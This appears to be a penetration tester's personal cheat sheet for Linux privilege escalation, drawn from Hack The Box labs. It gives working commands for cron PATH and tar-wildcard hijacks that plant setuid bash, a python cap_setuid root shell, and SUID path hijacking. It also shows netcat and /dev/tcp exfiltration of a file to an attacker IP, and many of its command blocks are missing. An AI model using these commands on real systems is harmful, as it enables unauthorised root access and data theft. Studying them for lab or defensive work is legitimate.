Plot
Let’s say you have successfully compromised the system with lower user privilege. You would have to escalate your privilege into root.
More elaborate steps could be found on [PayloadsAllTheThings](PayloadAllTheThings.
Here, I uploaded check list and personal tricks.
Checklist
-
Kernel Exploit?
-
User Enumeration?
-
Internally opened ports?
-
Pivoting?
-
User File Enumeration?
-
sudo -l ?
-
cron jobs?
-
SUID, GUID?
-
MySQL?
-
Automated Tools?
Basic Enumeration
Kernel Version
Search for Kernel Exploit online.
User Enumeration
Spend some time understanding users on the system.
It is also a good trick to check on this files:
Network Enumeration
Check for internally open ports and check if there’s extra network interface that connects to different network.
If port 80 is open, check if there are any different sites running internally:
File Enumeration
You can hunt for passwords as such:
Search on files that are editable by everyone:
Search for files that specific user owns:
Check on /tmp and /opt folder for unusual files:
Privileges
Check for files with sudo right:
sudo -S -l
sudo -l
Cron Jobs
Check for Cron Jobs:
Pspy
Pspy helps you see what is happening in system even if you are not root:
Escalation via Cron Paths
overwrite.sh is being ran as cronjob:
The $PATH is used to set the default path where the cron jobs would run from. Unless specified otherwise.
In our case, the cron jobs $PATH has been set to the user’s home directory. Meaning the default path for cron jobs to run will be the user’s home directory:
However, there is no overwirte.sh at /home/user.
Since administrator hasn’t created overwrite.sh on /home/user yet, I can create my own overwrite.sh:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
With the command below, now I have escalated shell:
/tmp/bash -p
Escalation via Cron Wildcards
/usr/local/bin/compress.sh was being ran on cronjobs:
I first created runme.sh that contains script for escalated bash:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > runme.sh
Now I give it execute permission
chmod +x runme.sh
I set the checkpoint:
touch /home/user/--checkpoint=1
Checkpoint will execute runme.sh when cron runs:
touch /home/user/--checkpoint-action=exec=sh\runme.sh
Running below command, I get shell as root:
/tmp/bash -p
Escalation via Cron File Overwrites
This is the most common way.
On HTB-Cronos, Linpeas showed that laravevl/artisan is on cron jobs:
www-data is the owner of this file and it has write permission on it:
With Pentest-Monkey PHP script, I can replace artisan file and get a reverse shell connection as root:
SUID
Search on GTFOBins.
SUID Path
Ex) Tar
I can take a better look at it using ltrace:
ltrace /usr/bin/pandora_backup
Because there’s no path given for tar, it will use the current user’s PATH environment variable to look for valid executables to run. But I can control that path, which makes this likely vulnerable to path hijack.
I’ll work from /dev/shm
, and add that to the current user’s PATH:
Now the first place it will look for tar is /dev/shm
.
I will create a simple payload that will run bash as root inside tar as such:
Running pandora_backup will spawn a shell as root:
Capabilities
- https://linux-audit.com/linux-capabilities-101/
- https://jadu101.github.io/Hackthebox%F0%9F%93%A6/HTB-Lightweight
Find out what capabilities are Enabled: getcap -r / 2>/dev/null
A classic example…
Let’s say tar has “tar = cap_dac_read_search+ep” which means tar has read access to anything. We can abuse this to read /etc/shadow by utilising the function of archiving a file.
Capabilites - python
Running linpeas.sh discovers capabilites on python3.8:
cap_setuid has the following ability according to the man page:
- Make arbitrary manipulations of process UIDs (setuid(2), setreuid(2), setresuid(2), setfsuid(2)); * forge UID when passing socket credentials via UNIX domain sockets; * write a user ID mapping in a user namespace (see user_namespaces(7)).
I can abuse this capability following guide from GTFOBins:
Running the command from above, It instantly give me shell as the root:
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
Automated Tools
LinPeas - https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
LinEnum - https://github.com/rebootuser/LinEnum
Linux Exploit Suggester - https://github.com/mzet-/linux-exploit-suggester
Linux Priv Checker - https://github.com/sleventyeleven/linuxprivchecker
File Transfer
scp
scp 10.10.14.17@lightweight.htb:/tmp/listen.pcap .
nc
With netcat listener running locally on Kali machine, I sent the contents of backup.7z file over the network to the listener running on the local machine:
cat backup.7z > /dev/tcp/10.10.14.17/9001
Now on my local listener, the data receieved by Netcat is redirected to a file named backup.7z:
nc -lvnp 9001 > backup.7z
TTY
Once we connect to a shell through Netcat, we will notice that we can only type commands or backspace, but we cannot move the text cursor left or right to edit our commands, nor can we go up and down to access the command history. To be able to do that, we will need to upgrade our TTY. This can be achieved by mapping our terminal TTY with the remote TTY.
There are multiple methods to do this. For our purposes, we will use the python/stty
method. In our netcat
shell, we will use the following command to use python to upgrade the type of our shell to a full TTY:
After we run this command, we will hit ctrl+z
to background our shell and get back on our local terminal, and input the following stty
command:
Once we hit fg
, it will bring back our netcat
shell to the foreground. At this point, the terminal will show a blank line. We can hit enter
again to get back to our shell or input reset
and hit enter to bring it back. At this point, we would have a fully working TTY shell with command history and everything else.
We may notice that our shell does not cover the entire terminal. To fix this, we need to figure out a few variables. We can open another terminal window on our system, maximize the windows or use any size we want, and then input the following commands to get our variables:
The first command showed us the TERM
variable, and the second shows us the values for rows
and columns
, respectively. Now that we have our variables, we can go back to our netcat
shell and use the following command to correct them:
Once we do that, we should have a netcat
shell that uses the terminal’s full features, just like an SSH connection.
Developing your shell
- Script
- Python pty module:
- Push the shell to background:
Ctrl + z
- Examine current terminal and STTY info:
- Set current STTY
- Foreground:
- Reinitialize:
- Setup shell according to the local machine setting: